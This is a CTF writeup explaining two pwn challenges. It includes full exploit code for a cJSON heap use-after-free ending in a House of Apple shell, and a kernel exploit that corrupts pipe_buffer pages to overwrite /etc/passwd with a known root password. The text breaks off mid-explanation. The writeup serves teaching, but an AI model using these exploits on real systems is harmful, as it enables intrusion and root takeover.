-->
For Lag and Crash this year, I wrote 2 pwn challenges, feedback-form
and Trump Dating Simulator
, which were released in waves 1 and 3 respectively. Both
challenges incorporated some interesting stuff I thought of during my infinite
admin time in NS, so I hope it was fun and educational for everyone! These are
my writeups for my challenges, as well as other interesting pwn challenges by
other authors in the CTF!
I didn’t have much time to do writeups, so I’ll update this at some later date with the writeup for Trump Dating Simulator
Please give us a 5-star rating!
Not sure why this challenge had so few solves, did people not want to submit feedback? /j
This challenge is all about exploiting the cJSON struct. All input is parsed as JSON objects, and looking at the actions we can perform:
{"actions": ["get_feedback", "show_feedback"]}
we realize it’s quite limited as compared to a normal heap challenge, so exploiting the management of the cJSON objects we have control over is key.
The program accepts feedback in the form of this JSON object:
{
"username": "asdf",
"ratings": [5, 5, 5]
}
After submitting feedback, any ratings that are less than 5 will be deleted from the object. The object is then stored in a global pointer, which we can view later at some point in time. If feedback is submitted again, the previous feedback is freed and replaced with the new feedback.
Though source wasn’t given, the binary isn’t meant to be hard to reverse, and
the only barrier to reversing might be the absence of the cJSON type, which can
be easily added in IDA by opening the “Local Types” view under View > Open subviews > Local types
and copy-pasting the type definition from the Github
repo.
Under get_feedback
, we see the bug in how the non 5-star ratings are
deleted:
for ( i = ObjectItem->child; i; i = i->next )
{
if ( i->type != 8 || i->valueint <= 4 )
{
cJSON_Delete(i);
return puts(
"{\"success\": true, \"message\": \"any ratings less than 5 stars have been removed, thank you for your va"
"lued feedback\"}");
}
}
It’s hard to notice just by reading the decompilation, because this usage of
cJSON_Delete
doesn’t seem suspicious at all. However, if we try viewing the
feedback after submitting a feedback with non-5-star ratings, the program will
crash. This should hopefully lead us to investigate how cJSON_Delete
works,
and why it shouldn’t be used on children objects.
_int64 *__fastcall cJSON_Delete(cJSON *a1)
{
__int64 *result; // rax
__int64 *next; // [rsp+18h] [rbp-8h]
while ( a1 )
{
next = (__int64 *)a1->next;
if ( (a1->type & 0x100) == 0 && a1->child )
cJSON_Delete(a1->child);
if ( (a1->type & 0x100) == 0 && a1->valuestring )
{
(*(&global_hooks + 1))(a1->valuestring);
a1->valuestring = 0LL;
}
if ( (a1->type & 0x200) == 0 )
{
if ( a1->string )
{
(*(&global_hooks + 1))(a1->string);
a1->string = 0LL;
}
}
(*(&global_hooks + 1))(a1);
result = next;
a1 = (cJSON *)next;
}
return result;
}
We can see that the implementation will loop through and delete all items of an object’s linked list. However, it doesn’t actually go back to the previous item in the linked list, which means that deleting a child object instead of the root parent object will likely result in UAF.
Let’s take a look at our new and shiny UAF object.
typedef struct cJSON
{
/* next/prev allow you to walk array/object chains. Alternatively, use GetArraySize/GetArrayItem/GetObjectItem */
struct cJSON *next;
struct cJSON *prev;
/* An array or object item will have a child pointer pointing to a chain of the items in the array/object. */
struct cJSON *child;
/* The type of the item, as above. */
int type;
/* The item's string, if type==cJSON_String and type == cJSON_Raw */
char *valuestring;
/* writing to valueint is DEPRECATED, use cJSON_SetNumberValue instead */
int valueint;
/* The item's number, if type==cJSON_Number */
double valuedouble;
/* The item's name string, if this item is the child of, or is in the list of subitems of an object. */
char *string;
} cJSON;
As can be seen, the next and prev pointers overlap with the fd and bk pointers
of freed chunks, which is most likely what caused our program to crash - the
cJSON_PrintUnformatted
function tries to dereference the encrypted fd pointer
of a tcache chunk and SIGSEGVs. There are quite a few other fields from which we
can possibly get our leak from, like valuestring, valueint etc. Unfortunately,
we see that when creating a new cJSON object, the entire object is cleared
before being used:
void *__fastcall cJSON_New_Item(__int64 (__fastcall **a1)(__int64))
{
void *s; // [rsp+18h] [rbp-8h]
s = (void *)(*a1)(64LL);
if ( s )
memset(s, 0, 0x40uLL);
return s;
}
Therefore, in order to get these fields to leak some heap/libc pointers, we either need to overwrite them using the UAF, or groom the heap such that the start of an unsorted chunk lies exactly 0x10 before a field we want to use to leak. Since we don’t have any leaks, only the latter option is viable for now (we can use the former for a secondary leak later).
Tcache chunks aren’t useful for our leak at the moment, as its only leak via the fd pointer is encrypted and hence can’t be dereferenced, but it doesn’t align with valueint, so we basically can’t use it as a leak. In addition, it’s much easier to do the feng shui with an unsorted chunk instead, as it can be split into remainder chunks when serving allocation requests smaller than its size. This allows us to adjust the position of the main_arena pointer very precisely, by allocating a smaller chunk of a specific size, without having to do too much feng shui.
Having said that, we should want to move our tcache/fastbin size allocations to a common area so that they don’t interfere with our desired unsorted chunks. We can do this by “seeding” the heap with enough chunks of required sizes. This way, they’ll be already allocated and freed on the heap, and will be reused for future requests, leaving our desired fastbin/unsorted chunks contiguous and intact.
def seed_heap_for_fengshui():
# we can use strings to get custom sizes too
json_payload = {
"a": ["a"*(seeded_size), 1, 2, 3]
}
payload = json.dumps(json_payload).encode()
p.sendlineafter(b">", payload)
We can always modify this seeding process later to suit our needs. Now, let’s create the UAF and try to align unsorted pointers with valuestr.
seeded_size = 0x510
def create_freed_chunks():
p.sendlineafter(b">", b'{"action": 0}')
json_payload = {
"ratings": [
{"a"*0x40: ["a"*(seeded_size), 7, 7, 7, 7, 7, 7, 7]}
],
"username": "b"*0x8
}
payload = json.dumps(json_payload).encode()
p.sendlineafter(b">", payload)
def perform_heap_leak():
# do initial alloc to put main_arena pointers at uaf.valuestring
payload = b'"'
payload += b"a"*(0x4d0)
payload += b'"'
p.sendlineafter(b">", payload)
misalign_payload = b"a"*0x4c0
misalign_payload += b"\\u0000" * 8
misalign_payload += b"\\u0000" * 8
misalign_payload += b"\\u0000" * 8
misalign_payload += b"\\u0010" + b"\\u0000" * 6
json_payload = {
"action": 1,
"DEADBEEF": 1,
}
payload = json.dumps(json_payload).encode()
payload = payload.replace(b"DEADBEEF", misalign_payload)
p.clean()
p.sendline(payload)
In create_freed_chunks()
, we create a really long string of length
0x510. This string will be freed since its type doesn’t match the cJSON_Number
type. We’ll be using this for our UAF.
Between create_freed_chunks()
and perform_heap_leak()
,
let’s inspect the heap state.
Free chunk (largebins) | PREV_INUSE
Addr: 0x555555572400
Size: 0x420 (with flag bits: 0x421)
fd: 0x155555403f10
bk: 0x155555403f10
fd_nextsize: 0x555555572400
bk_nextsize: 0x555555572400
Free chunk (fastbins)
Addr: 0x555555572820
Size: 0x50 (with flag bits: 0x50)
fd: 0x5550000276c2
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555572870
Size: 0x520 (with flag bits: 0x521)
fd: 0x555555572f20
bk: 0x155555403b20
These are our 2 large string chunks, separated by our freed UAF object, at
0x555555572820. Since they’re separated by a fastbin chunk, we can merge them
together using malloc_consolidate
to form 1 really large unsorted chunk. Then,
we’ll use this chunk and align the UAF over its main_arena pointers.
def perform_heap_leak():
# do initial alloc to put main_arena pointers at uaf.valuestring
payload = b'"'
payload += b"a"*(0x4d0)
payload += b'"'
p.sendlineafter(b">", payload)
misalign_payload = b"a"*0x4c0
misalign_payload += b"\\u0000" * 8
misalign_payload += b"\\u0000" * 8
misalign_payload += b"\\u0000" * 8
misalign_payload += b"\\u0010" + b"\\u0000" * 6
json_payload = {
"action": 1,
"DEADBEEF": 1,
}
payload = json.dumps(json_payload).encode()
payload = payload.replace(b"DEADBEEF", misalign_payload)
p.clean()
p.sendline(payload)
In perform_heap_leak()
, we allocate a string that is larger than the
unsorted chunk, which triggers malloc_consolidate
coalescing all our chunks
together. This chunk is immediately freed, which returns it back to the
coalesced chunk, forming a chunk of size 0xa30.
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555572360
Size: 0xa30 (with flag bits: 0xa31)
fd: 0x155555403b20
bk: 0x155555403b20
Now, we allocate a string that is just short enough such that the remainder
chunk starts exactly at valuestring-0x10 of our UAF string (which was the 0x50
fastbin chunk from earlier), causing main_arena pointer to be placed at
uaf->valuestring
. Since we also did the view_feedback
action when
writing to our UAF, the JSON object will be immediately printed, with our UAF
object now a JSON string pointing to main_arena, with its contents being a heap
leak. Additionally, since we can now control the next pointer of the UAF object,
we can set it to NULL to prevent the program from reaching non-dereferencable
tcache chunks.
{"action": "show_feedback"}
{"ratings":["\xb0q,H\xb9X"],"username":"bbbbbbbb"}
{"actions": ["get_feedback", "show_feedback"]}
/* example input */ {"action": 0}
>
It’s trivial to do our libc leak now, because we can directly overwrite an address with some other address on the heap. Recalling the state of the heap, the objects we allocated earlier should now be freed. However, we notice that we now have tcache chunks between our previously consolidated unsorted chunk, but it’s not so important now that we can overwrite addresses.
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555572360
Size: 0x570 (with flag bits: 0x571)
fd: 0x5555555729e0
bk: 0x155555403b20
Free chunk (tcachebins)
Addr: 0x5555555728d0
Size: 0x40 (with flag bits: 0x40)
fd: 0x555555572
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555572910
Size: 0xd0 (with flag bits: 0xd1)
fd: 0x555555572
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5555555729e0
Size: 0x3b0 (with flag bits: 0x3b1)
fd: 0x155555403b20
bk: 0x555555572360
Recalling that our UAF object is still at 0x555555572820, we can use the first unsorted chunk to fake our object. However, we need to be careful that the total length of the encoded string doesn’t exceed 0x560 bytes, if not the string won’t be allocated from the correct chunk.
def perform_libc_leak():
assert heap_leak != 0x0
misalign_payload = b"b"*0x4c0
misalign_payload += b"\\u0000" * 8
misalign_payload += b"b" * 8
misalign_payload += b"\\u0000" * 8
misalign_payload += b"\\u0010" + b"\\u0000" * 7
misalign_payload += cjson_pack(heap_leak - 0x78)
json_payload = {
"action": 1,
"DEADBEEF": 1,
}
payload = json.dumps(json_payload).encode()
payload = payload.replace(b"DEADBEEF", misalign_payload)
p.clean()
p.sendline(payload)
With a libc leak, our exploit is almost complete. Using the same UAF object, we
attack its child pointer for an arbitrary free, making it point to a fake cJSON
object of our own. This cJSON object will be passed to cJSON_Delete
, where
both itself and its valuestring will be freed. If we make its valuestring point
to some region within itself, we will then have overlapping chunks which can be
used for our arb write.
def arb_free():
assert heap_leak != 0x0
fake_obj_addr = heap_leak - 0xe20
misalign_payload_0 = b""
misalign_payload_0 += b"c"*8
misalign_payload_0 += b"c"*8
misalign_payload_0 += b"\\u0000" * 8
misalign_payload_0 += b"\\u0001" + b"\\u0002" + b"\\u0000" * 6 # fake chunk
misalign_payload_0 += b"\\u0000" * 8 # next
misalign_payload_0 += b"c" * 8
misalign_payload_0 += b"\\u0000" * 8 # child
misalign_payload_0 += b"\\u0000" + b"\\u0002" + b"\\u0000" * 6 # type = cJSON_String
misalign_payload_0 += cjson_pack(heap_leak - 0xdf0) # valuestring
misalign_payload_0 += b"\\u0001" + b"\\u0002" + b"\\u0000" * 6 # fake chunk
misalign_payload_0 += b"c" * 8
misalign_payload_0 += b"c" * 8
misalign_payload_0 += cjson_pack(0x0) # string
misalign_payload_0 += b"c"*(0x4c0 + 0x20 - len(misalign_payload_0))
misalign_payload_1 = b""
misalign_payload_1 += b"d" * 0x8
misalign_payload_1 += cjson_pack(0x51)
misalign_payload_1 += cjson_pack(fake_obj_addr)
misalign_payload_1 += b"d" * 8
misalign_payload_1 += cjson_pack(0x0)
misalign_payload_1 += cjson_pack(0x300)
misalign_payload_1 += b"d" * (0xb0 - len(misalign_payload_1))
json_payload = {
"action": 0,
"DEADBEEF": "CAFEBABE",
}
payload = json.dumps(json_payload).encode()
payload = payload.replace(b"DEADBEEF", misalign_payload_0)
payload = payload.replace(b"CAFEBABE", misalign_payload_1)
p.sendlineafter(b">", payload)
p.sendlineafter(b">", b"a")
def house_of_apple():
assert libc.address != 0x0 and heap_leak != 0x0
stdout_addr = libc.address + 0x2045c0
# overwrite fd pointer of overlapping 0x200 chunk
payload_0 = b""
payload_0 += b"e"*0x18
payload_0 += cjson_pack(0x201)
payload_0 += cjson_pack(fastbin_encrypt(heap_leak - 0xe20, stdout_addr))
payload_0 += b"e"*(0x400 - len(payload_0))
json_payload = {
"action": 0,
"DEADBEEF": 1
}
payload = json.dumps(json_payload).encode()
payload = payload.replace(b"DEADBEEF", payload_0)
p.sendlineafter(b">", payload)
wide_data_addr = heap_leak - 0xe20
wide_data = b""
wide_data += cjson_pack(libc.sym.system)
wide_data += b"w"*(0x18 - 0x0 - 0x8)
wide_data += cjson_pack(0x0)
wide_data += b"w"*(0x30 - 0x18 - 0x8)
wide_data += cjson_pack(0x0)
wide_data += b"w"*(0xe0 - 0x30 - 0x8)
wide_data += cjson_pack(wide_data_addr - 0x68)
wide_data += b"w"*(0x200 - len(wide_data))
wfile_jumps = libc.address + 0x202228
fake_file = b""
fake_file += cjson_pack(u64(b" sh".ljust(8, b"\x00")))
fake_file += b"f"*(0x20 - 0x0 - 0x8)
fake_file += cjson_pack(0x0)
fake_file += cjson_pack(0x1)
fake_file += b"f"*(0x88 - 0x28 - 0x8)
fake_file += cjson_pack(heap_leak)
fake_file += b"f"*(0xa0 - 0x88 - 0x8)
fake_file += cjson_pack(wide_data_addr)
fake_file += b"f"*(0xc0 - 0xa0 - 0x8)
fake_file += cjson_pack(0x0)
fake_file += b"f"*(0xd8 - 0xc0 - 0x8)
fake_file += cjson_pack(wfile_jumps)
fake_file += b"f"*(0x210 - len(fake_file))
json_payload = {
"DEADBEEF": "CAFEBABE"
}
payload = json.dumps(json_payload).encode()
payload = payload.replace(b"DEADBEEF", wide_data)
payload = payload.replace(b"CAFEBABE", fake_file)
print(payload)
p.sendlineafter(b">", payload)
[+] Opening connection to chal1.lagncra.sh on port 8546: Done
0x60faf79261b0
0x7999a542f000
b'{"PwH\xa5\x99y\\u0000\\u0000wwwwwwwwwwwwwwww\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000wwwwwwwwwwwwwwww\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww(S\x92\xf7\xfa`\\u0000\\u0000wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww": " sh\\u0000\\u0000\\u0000\\u0000ffffffffffffffffffffffff\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0001\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\xb0a\x92\xf7\xfa`\\u0000\\u0000ffffffffffffffff\x90S\x92\xf7\xfa`\\u0000\\u0000ffffffffffffffffffffffff\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000ffffffffffffffff(\\u0012c\xa5\x99y\\u0000\\u0000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"}'
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
LNC25{"solved":true,"response":"h0pe_y0u_enj0y3d_th3_ctf"}
ROP LLC’s new data center is managed by sysadmin Jack, who spends all of his
time turning the pages of his books instead of securing the server. As one of
our trusted operatives, surely you can root the server and show Jack that he
should stop laughing at cat memes during company hours? Login credentials are
jack:jack
, and the flag is in /dev/sdb
.
Note: This challenge can be solved independently of Utility Pole: Revenge (Pt 1), but solving part 1 would grant you access to the source code of the kernel module.
This challenge was set by Kaligula, and it’s a kernel pwn challenge as usual! I’m excited to try out her challenge and learn more new kernel stuff.
case CREATE_SECRET_MESSAGE: {
size = user_data.size;
if (secret_message_created == 1) {
pr_info("Secret message has already been created!\n");
mutex_unlock(&mod_mutex);
return -1;
break;
}
secret_msg = kzalloc(sizeof(struct secret_message), GFP_KERNEL_ACCOUNT);
message_buf = kzalloc(size * 2, GFP_KERNEL_ACCOUNT);
secret_msg->size = size;
secret_msg->message = (uint64_t)message_buf;
pr_info("Secret message created!\n");
secret_message_created = 1;
mutex_unlock(&mod_mutex);
return 0;
break;
}
The kernel module is quite simple. We can store a secret message of size <= 0x400
(it’s a uint16_t
array so actual size is up to 0x800). The
message is allocated with GFP_KERNEL_ACCOUNT
, so it will be placed in cg
caches.
case WRITE_SECRET_MESSAGE: {
if (secret_message_written == 1) {
pr_info("Secret message has already been
written!\n");
mutex_unlock(&mod_mutex);
return -1;
break;
}
if (secret_message_created == 0 || secret_msg == 0) {
pr_info("Secret message does not exist!\n");
mutex_unlock(&mod_mutex);
return -1;
break;
}
size = secret_msg->size;
ret = copy_from_user(buf, (void __user *)
user_data.message, size);
for (int i = 0; i < size; i++) {
((uint16_t*)secret_msg->message)[i] = buf[i];
}
((uint16_t*)secret_msg->message)[size] = 0x0;
pr_info("Secret message written!\n");
secret_message_written = 1;
mutex_unlock(&mod_mutex);
return 0;
break;
}
When writing to the message, we have a 2-byte null-byte heap overflow which we
can use to overwrite important objects that are allocated in cg caches. One such
object that comes to mind is the struct pipe_buffer
object.
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
Allocated in kmalloc-cg-1k
, it has a struct page
pointer at the very
start of the struct which can be overwritten with the 2 null bytes. This will
change the pointer from something like 0xffffea00002a4fc0
to
0xffffea00002a0000
, which may end up overlapping with another struct page
if we’re lucky (or if we spray enough).
struct page
and struct pipe_buffer
We know that pipe_buffer
is used to link 2 file descriptors
together, such that we can write to one and read from the other. It does so
through struct page
, which tracks and manage references to a physical
memory page. The underlying physical page is what we are writing to and reading
from in the pipe_buffer
. Initially, when allocated via creation of
pipe_buffer
, the struct page
looks like this:
gef> x/8gx 0xffffea0000247540
0xffffea0000247540: 0x0100000000000000 0x0000000000000000
0xffffea0000247550: 0xdead000000000122 0x0000000000000000
0xffffea0000247560: 0x0000000000000000 0x0000000000000000
0xffffea0000247570: 0x00000001ffffffff 0xffff88800716ca82
The steps to manually convert a struct page
into a physical address are
very complicated, but basically this macro is used:
/*
* Change "struct page" to physical address.
*/
#define page_to_phys(page) ((dma_addr_t)page_to_pfn(page) << PAGE_SHIFT)
More info about how the kernel handles pages can be found here.
For our purposes, it isn’t very important to resolve the physical address anyway
because we can’t access it via gdb unless it has a virtual address mapped to it,
which isn’t the case for pipe_buffer
’s struct page
, as it’s
mapped with GFP_HIGHUSER
in pipe_write()
, and high addresses don’t
have a permanent virtual mapping in kernel according to the documentation linked
above.
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
// ...
if (!page) {
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
// ...
}
struct page
and the SLUB allocatorstruct page
is also used by the SLUB allocator to maintain a slab cache,
from which it allocates objects (or nodes). A slab, like kmalloc-cg-1k
, refers
to the higher-order allocation used to hold a group of same-sized objects, and a
slab cache is a linked list of slabs that are all used for a certain size/type
of object. Allocations from kmalloc()
or kmem_alloc_cache()
follow
this pipeline when looking for a suitable slab in the slab cache:
__slab_alloc()
is called, where we check
if we have any partial slabs. If a partial slab is found, we make
this slab the new active slab, and allocate an object from here.new_slab()
which eventually
calls alloc_page()
, getting a page from the buddy allocator.(All this logic can be found starting from __slab_alloc_node()
)
Now we know that a free page from pipe_buffer
can be allocated for the SLUB
allocator, the possibilities are endless! If we have a UAF on a pipe_buffer
’s
struct page
, we can get the kernel to return the freed page for any object
we wish, and then overwrite the objects allocated in our victim page using the
pipe_buffer
.
Our plan is to spray struct file
objects onto the victim page, and
overwrite file->fmode_t
, which will then allow us to change the
permissions for that file. This will allow us to write to something sensitive
like /etc/passwd
, and we can then set the root password to something we know.
struct file {
atomic_long_t f_count;
spinlock_t f_lock;
fmode_t f_mode;
const struct file_operations *f_op;
struct address_space *f_mapping;
void *private_data;
struct inode *f_inode;
unsigned int f_flags;
unsigned int f_iocb_flags;
const struct cred *f_cred;
/* --- cacheline 1 boundary (64 bytes) --- */
struct path f_path;
union {
/* regular files (with FMODE_ATOMIC_POS) and directories */
struct mutex f_pos_lock;
/* pipes */
u64 f_pipe;
};
loff_t f_pos;
#ifdef CONFIG_SECURITY
void *f_security;
#endif
/* --- cacheline 2 boundary (128 bytes) --- */
struct fown_struct *f_owner;
errseq_t f_wb_err;
errseq_t f_sb_err;
#ifdef CONFIG_EPOLL
struct hlist_head *f_ep;
#endif
union {
struct callback_head f_task_work;
struct llist_node f_llist;
struct file_ra_state f_ra;
freeptr_t f_freeptr;
};
/* --- cacheline 3 boundary (192 bytes) --- */
} __randomize_layout
__attribute__((aligned(4))); /* lest something weird decides that 2 is OK */
We know that struct file
objects are allocated in the filp
cache, based
on the allocation path in alloc_empty_file()
:
// called from alloc_file
struct file *alloc_empty_file(int flags, const struct cred *cred)
{
// ...
f = kmem_cache_zalloc(filp_cachep, GFP_KERNEL);
// ...
}
void __init files_init(void)
{
struct kmem_cache_args args = {
.use_freeptr_offset = true,
.freeptr_offset = offsetof(struct file, f_freeptr),
};
filp_cachep = kmem_cache_create("filp", sizeof(struct file), &args,
SLAB_HWCACHE_ALIGN | SLAB_PANIC |
SLAB_ACCOUNT |
SLAB_TYPESAFE_BY_RCU);
percpu_counter_init(&nr_files, 0, GFP_KERNEL);
}
So what we want is to free the pipe_buffer
’s struct page
, and then
allocate a filp struct page
onto the victim page.
Before we commence with the exploit, let’s do some setup to make our exploit success rate higher.
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
open_dev();
pprintf("opened device on fd %d, starting exploit", fd);
// pre-spray some files to fill up filp cache
for (int i = 0; i < NUM_SPRAY_FILE; i++) {
open("/etc/passwd", O_RDONLY);
}
for (int i = 0; i < pipe_buf_spray; i++) {
buf[0] = i;
assert(pipe(pipe_buf_fds[i]) != -1);
write(pipe_buf_fds[i][1], buf, 0x30);
if (i == pipe_buf_spray / 2) {
do_create_secret_message(0x400 / 2);
}
}
First, we only want to use CPU0 so that our spray will be more consistent.
Second, we can do an initial spray of files to drain the filp cache of slabs, so that opening files later will most likely trigger the allocation of a new page.
Lastly, we spray pipe_buffers
and insert the secret message inside the spray.
In theory, the more pipe_buffers
we spray, the higher chance we have for the
exploit to succeed, since it’s more likely for a pipe_buffer
’s struct page
to be found at 0xXXXXXXXX0000. Strangely, it seems like if we spray
too many pipe_buffers
, the secret message has a lower chance to be allocated
right before a pipe_buffer
object, which causes the entire OOB to fail in the
first place.
user_req.size = 0x200;
user_req.message = *payload;
do_write_secret_message(&user_req);
// at this point we should have overwritten one of the pages
// lets find the victim pipe_buf
size_t original = 0;
size_t victim = 0;
for (int i = 0; i < pipe_buf_spray; i++) {
size_t buf[2];
assert(read(pipe_buf_fds[i][0], buf, 0x10) != -1);
if (buf[0] != i) {
assert(0 <= buf[0] && buf[0] < pipe_buf_spray);
pprintf("found mismatch %p at idx %p", buf[0], i);
*original = buf[0];
*victim = i;
}
}
// now close the original pipe_buffer
assert(close(pipe_buf_fds[original][0]) != -1);
assert(close(pipe_buf_fds[original][1]) != -1);
Now, we target the struct page
pointer with the oob write. After doing so,
we need a way to identify which pipe_buffer
has been overwritten, and which
pipe_buffer
’s page it is now pointing to. In the initial spray, we wrote the
index of the pipe_buffer
to the start of the page. If we compare this index
against the actual index in our code, we can then identify both the victim and
original pipe_buffer
.
Lastly, to free the struct page
, we simply close both fds of the original
pipe_buffer
. Now, the freed page should look like this:
gef> x/8gx 0xffffea0000220000
0xffffea0000220000: 0x0100000000000000 0xffffea00007c2748
0xffffea0000220010: 0xffff88807dc31d60 0x0000000000000000
0xffffea0000220020: 0x0000000000000000 0x0000000000000000
0xffffea0000220030: 0x00000000ffffffff 0x0000000000000000
with fd and bk pointers to the freelist of pages. We still have reference to
this struct page
via the victim pipe_buffer
, giving us our UAF.
struct file
// now we have page-level uaf via victim
// fill to the next file object
write(pipe_buf_fds[victim][1], &buf[5], 0x30);
// spray a few more files, no need for a lot since we already drained the filp beforehand
size_t final_file_spray = 0x200;
int filefds[final_file_spray];
for (int i = 0; i < final_file_spray; i++) {
filefds[i]= open("/etc/passwd", O_RDONLY);
assert(filefds[i] != -1);
}
uint32_t tmp[0x10];
tmp[0] = 0x1;
tmp[1] = 0x0;
tmp[2] = 0x0;
tmp[3] = 0x480e801f;
pprintf("%d", write(pipe_buf_fds[victim][1], tmp, 0x10));
pprintf("%s", strerror(errno));
char payload[] = "root:$1$deadbeef$j9ep0CjBGivAnD5z6l5rr0:0:0:root:/root:/bin/bash\n";
for (int i = 0; i < final_file_spray; i++) {
if (write(filefds[i], payload, sizeof(payload)) > 0) {
pprintf("write success at fptr %d! password is cafebabe", i);
break;
}
}
Before we spray the struct file
again, we want to make the cursor of the
victim pipe_buf
point to the start of a potential struct file
- which
means it should be 0xc0 from the start of the page, pointing to the 2nd node of
the filp cache since the size of struct file
is 0xc0.
After this, we can spray a few more files to make sure the UAF page is allocated by buddy, and the slab’s 2nd node is also allocated by SLUB. The page now looks something like this, if successful:
gef> x/8gx 0xffffea0000220000
0xffffea0000220000: 0x0100000000000000 0xffff888003d41400
0xffffea0000220010: 0xdead000000000122 0x0000000000000000
0xffffea0000220020: 0x0000000000000000 0x0000000000150015
0xffffea0000220030: 0x00000001f5000000 0xffff88801f0873c1
The pointer at +0x8, if we view its contents, contains some string values that refer to “filp”, which is how we know the page has been successfully allocated for the filp slab cache.
0xffff888003d41400|+0x0000|+000: 0x00000000000322d0
0xffff888003d41408|+0x0008|+001: 0x0000000000022310
0xffff888003d41410|+0x0010|+002: 0x0000000000000005
0xffff888003d41418|+0x0018|+003: 0x000000b8000000c0
0xffff888003d41420|+0x0020|+004: 0x0000070155555556
0xffff888003d41428|+0x0028|+005: 0x0000007800000098
0xffff888003d41430|+0x0030|+006: 0x000000150000000c
0xffff888003d41438|+0x0038|+007: 0x0004000000000015
0xffff888003d41440|+0x0040|+008: 0x0000000000000001
0xffff888003d41448|+0x0048|+009: 0x0000000000000000
0xffff888003d41450|+0x0050|+010: 0x00000040000000b8
0xffff888003d41458|+0x0058|+011: 0x0000000000000000
0xffff888003d41460|+0x0060|+012: 0xffffffff828e8e9e <trunc_msg+0x1851f> -> 0x5f736600706c6966 ('filp'?)
0xffff888003d41468|+0x0068|+013: 0xffff888003d41c68 -> 0xffff888003d41f68 -> 0xffff888003d3f768 -> ...
0xffff888003d41470|+0x0070|+014: 0xffff888003d41068 -> 0xffff888003d41468 -> 0xffff888003d41c68 -> ...
0xffff888003d41478|+0x0078|+015: 0xffffffff828e8e9e <trunc_msg+0x1851f> -> 0x5f736600706c6966 ('filp'?)
0xffff888003d41480|+0x0080|+016: 0xffff888003d41c80 -> 0xffff888003d41f80 -> 0xffff888003d3f780 -> ...
0xffff888003d41488|+0x0088|+017: 0xffff888003d41080 -> 0xffff888003d41480 -> 0xffff888003d41c80 -> ...
0xffff888003d41490|+0x0090|+018: 0xffff888004d30f18 -> 0xffffffff828e6961 <trunc_msg+0x15fe2> -> 0x5333010062616c73 ('slab'?)
0xffff888003d41498|+0x0098|+019: 0xffff888004d30f00 -> 0xffff888003edac80 -> 0xffff888003edaf80 -> ...
0xffff888003d414a0|+0x00a0|+020: 0xffffffff8241d4a8 <slab_ktype> -> 0xffffffff812ba730 <kmem_cache_release> -> 0x88c78348fa1e0ff3
0xffff888003d414a8|+0x00a8|+021: 0xffff888004deda18 -> 0x000000000000001f <__UNIQUE_ID_description333+0x13>
0xffff888003d414b0|+0x00b0|+022: 0x0000000300000001
0xffff888003d414b8|+0x00b8|+023: 0xf20034324ab65020
0xffff888003d414c0|+0x00c0|+024: 0x00000000000003e8
0xffff888003d414c8|+0x00c8|+025: 0xffff888003c584e0 -> 0x00000d80000006c0
0xffff888003d414d0|+0x00d0|+026: 0x0000000000000000
0xffff888003d414d8|+0x00d8|+027: 0xffff888003d39d40 -> 0x0000000000000000
0xffff888003d414e0|+0x00e0|+028: 0x0000000000000000
0xffff888003d414e8|+0x00e8|+029: 0x0000000000000000
0xffff888003d414f0|+0x00f0|+030: 0x0000000000000000
0xffff888003d414f8|+0x00f8|+031: 0x0000000000000000
Once this is done, we attempt to write to a file
object by writing to the
victim pipe_buf
. Before the write, the file
looks like this:
gef> x/24gx 0xffff88801f0b60c0
0xffff88801f0b60c0: 0x0000000000000001 0x084a801d00000000
0xffff88801f0b60d0: 0xffffffff8242a4c0 0xffff888004302b18
0xffff88801f0b60e0: 0x0000000000000000 0xffff8880043029a8
0xffff88801f0b60f0: 0x0000000000008000 0xffff888005597b40
0xffff88801f0b6100: 0xffff888003fa3820 0xffff8880040593c0
0xffff88801f0b6110: 0x0000000000000000 0x0000000000000000
0xffff88801f0b6120: 0xffff88801f0b6120 0xffff88801f0b6120
0xffff88801f0b6130: 0x0000000000000000 0xffff88801f0aee90
0xffff88801f0b6140: 0x0000000000000000 0x0000000000000000
0xffff88801f0b6150: 0x0000000000000000 0x0000000000000000
0xffff88801f0b6160: 0x0000000000000000 0x0000000000000020
0xffff88801f0b6170: 0xffffffffffffffff 0x0000000000000000
The value of file->f_mode
is 0x084a801d
. Both FMODE_WRITE
(1 << 1)
and FMODE_CAN_WRITE
(1 << 18) are set to 0, which will fail the following
checks in vfs_write()
:
ssize_t vfs_write(struct file *file, const char __user *buf, size_t count,
loff_t *pos)
{
ssize_t ret;
if (!(file->f_mode & FMODE_WRITE))
return -EBADF;
if (!(file->f_mode & FMODE_CAN_WRITE))
return -EINVAL;
// ..
}
